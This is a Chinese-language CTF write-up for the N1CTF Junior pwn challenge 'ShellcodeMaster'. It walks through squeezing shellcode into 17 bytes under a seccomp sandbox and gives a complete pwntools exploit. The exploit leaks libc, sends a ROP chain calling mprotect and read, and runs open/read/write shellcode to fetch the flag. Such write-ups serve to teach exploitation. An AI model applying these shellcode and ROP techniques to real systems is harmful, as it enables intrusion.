2023 N1CTF Junior Pwn ShellcodeMaster

👴 是 Master

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+8h] [rbp-8h]

  init(argc, argv, envp);
  sandbox();
  buf = mmap((void *)0x2023000, 0x1000uLL, 7, 34, -1, 0LL);
  puts("Try to ORW in limited bytes!");
  read(0, buf, 17uLL);
  puts("Hope that works~");
  mprotect(buf, 0x1000uLL, 4);
  asm(
    "mov     r15, 2023000h"
    "mov     rax, 2023h"
    "mov     rbx, 2023h"
    "mov     rcx, 2023h"
    "mov     rdx, 2023h"
    "mov     rsp, 2023h"
    "mov     rbp, 2023h"
    "mov     rsi, 2023h"
    "mov     rdi, 2023h"
    "mov     r8, 2023h"
    "mov     r9, 2023h"
    "mov     r10, 2023h"
    "mov     r11, 2023h"
    "mov     r12, 2023h"
    "mov     r13, 2023h"
    "mov     r14, 2023h"
    "jmp     r15"
  );
}
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x08 0x00 0x40000000  if (A >= 0x40000000) goto 0012
 0004: 0x15 0x07 0x00 0x0000009d  if (A == prctl) goto 0012
 0005: 0x15 0x06 0x00 0x00000038  if (A == clone) goto 0012
 0006: 0x15 0x05 0x00 0x00000039  if (A == fork) goto 0012
 0007: 0x15 0x04 0x00 0x0000003a  if (A == vfork) goto 0012
 0008: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0012
 0009: 0x15 0x02 0x00 0x00000065  if (A == ptrace) goto 0012
 0010: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x06 0x00 0x00 0x00000000  return KILL

hint1: movq rsp, xmm2

hint2: 利用 shellcode 构造自己的 gadget 转为 ROP

开了沙箱, 最多写 17 个字节的 shellcode. 在执行 shellcode 之前, 把 shellcode 的所在页权限设为 rx, 把所有通用寄存器除 r15 外写为 0x2023, r15 写为 gadget 地址. jmp r15 执行 shellcode.

根据提示, 第一个句写 movq rsp, xmm2, xmm2 浮点数寄存器中恰好保存有一个可读可写的 libc 地址. 接下来 write 这里, 可以 leak libc, 然后再 read 向 “栈” 上写 ROP chain, 最后 ret 执行 ROP.

bb 甩了一个 19 个字节的 shellcode 给我:

1
2
3
4
5
6
7
8
9
    movq rsp,xmm2
    and eax, 1
    and edi, eax
    push rsp
    pop rsi
    syscall
    xor eax, eax
    syscall
    ret

一开始我的思路是优化 and eax, 1; and edi, eax 两句, 再后来发现 rdi 和 rax 的值可以一样, 0, 1 都可以用来输入输出, 然后又去找有没有同时修改两个寄存器的 trick, (还真有, mul 可以同时修改 rax 和 rdx) 但是没有能够同时修改 rax 和 rdi 的.

后来又想到, 两次 syscall, 对 rax 赋值两次, 能不能只写一次, 用一个 jmp 去执行两次.

最开始的想法是 dec rax; jne, 但是 rax 是返回值, 会变. 于是用过了一个 rdi, 在循环体里赋值给 rax, 结果 exit 比 write 和 read 都大, 直接退出了.

接下来就想有没有正好执行两次的构造. 发现可以用 shr 来解决, shr rax 13 第一次将 rax 右移 13 位变成 1, 第二次右移变成 0. 正好 jne 就行. 想写的大概是下面这样的:

1
2
3
4
5
l:
    and edi, eax
    syscall
    shr eax, 13
    jnz l

或者这样:

1
2
3
4
5
l:
    shr edi, 13
    syscall
    and eax, edi
    jnz l

这样加上头尾刚好是 17 字节. 不过这样写都不能实现之前的想法.

最后想起来, jcc 只是去检查 rflags 的某个 bit 罢了, 只要它不变, 其实没必要 jcc 前一条指令是运算指令. 然后写出了这个:

1
2
3
4
5
6
7
8
9
    movq rsp,xmm2
    push rsp
    pop rsi
l:
    shr edi, 13
    and eax, edi
    syscall
    jnz l
    ret

验证一下, syscall 确实不会改变 rflags.

执行这个 shellcode 会先 write 一堆东西, 可以 leak libc, 然后 read 写 ROP chain 到 “栈” 上, ret 执行 ROP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context(os='linux', arch='amd64')# , log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

# io = process(procname, stdin=PTY)
io = remote('43.137.11.211', 7724)
elf = ELF(procname)
libc = ELF(libcname)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : io.recv(x)
ru  = lambda s    : io.recvuntil(s, drop=True)
sd  = lambda s    : io.send(s)
sl  = lambda s    : io.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda p, s : io.sendafter(p, s)
sla = lambda p, s : io.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia  = lambda      : io.interactive()
rop = lambda r    : flat([p64(x) for x in r])

def leakaddr(pre = None, suf = None, bit = 64, keepsuf = True, off = 0):
    u = {64: u64, 32: u32}
    num = 6 if bit == 64 else 4
    if pre is not None:
        ru(pre)
    if suf is not None:
        r = ru(suf)
        if keepsuf:
            r += suf
        r = r[-num:]
    else:
        r = rv(num)
    return u[bit](r.ljust(bit//8, b'\0')) - off

shellcode = '''
    movq rsp,xmm2
    push rsp
    pop rsi
l:
    shr edi, 13
    and eax, edi
    syscall
    jnz l
    ret
'''

sa(b'Try to ORW in limited bytes!\n', asm(shellcode))

libc.address = leakaddr(suf=b'\x7f', off=0x1EE7E0)
success(f'leak libc.address: {hex(libc.address)}')

pop_rdi_ret = libc.address + 0x023b6a
pop_rsi_ret = libc.address + 0x02601f
pop_rdx_ret = libc.address + 0x142c92
pop_rax_ret = libc.address + 0x036174
syscall_ret = libc.address + 0x0630a9

code = 0x02023000
buf = 0x02023100

orw  = shellcraft.open('/flag', 0)
orw += shellcraft.read(3, buf, 0x50)
orw += shellcraft.write(2, buf, 0x50)

chain = rop([
    pop_rdi_ret, code,
    pop_rsi_ret, 0x1000,
    pop_rdx_ret, 7,
    libc.sym.mprotect,
    pop_rdi_ret, 0,
    pop_rsi_ret, code,
    pop_rdx_ret, len(asm(orw)),
    libc.sym.read,
    code,
])

sd(chain)
sd(asm(orw))

ru(b'secpunk{')
flag = b'secpunk{' + ru(b'}') + b'}'
print(flag)

然而 🐧 学长只用了 16 字节, orz.